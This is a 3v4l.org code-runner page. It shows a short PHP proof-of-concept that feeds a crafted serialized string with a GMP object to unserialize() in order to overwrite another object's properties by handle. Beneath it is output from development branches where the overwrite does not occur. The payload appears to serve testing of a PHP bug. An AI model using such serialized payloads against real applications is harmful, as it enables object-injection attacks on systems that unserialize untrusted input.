3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $test; function __wakeup() { $this->test = 1; } } $obj = new stdClass;// $obj handle = 1 $obj->var1 = 1; $obj->var2 = 2; $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit);// $x handle = 2 var_dump($obj);
Output for git.master, git.master_jit, rfc.property-hooks
object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
47.96 ms | 401 KiB | 8 Q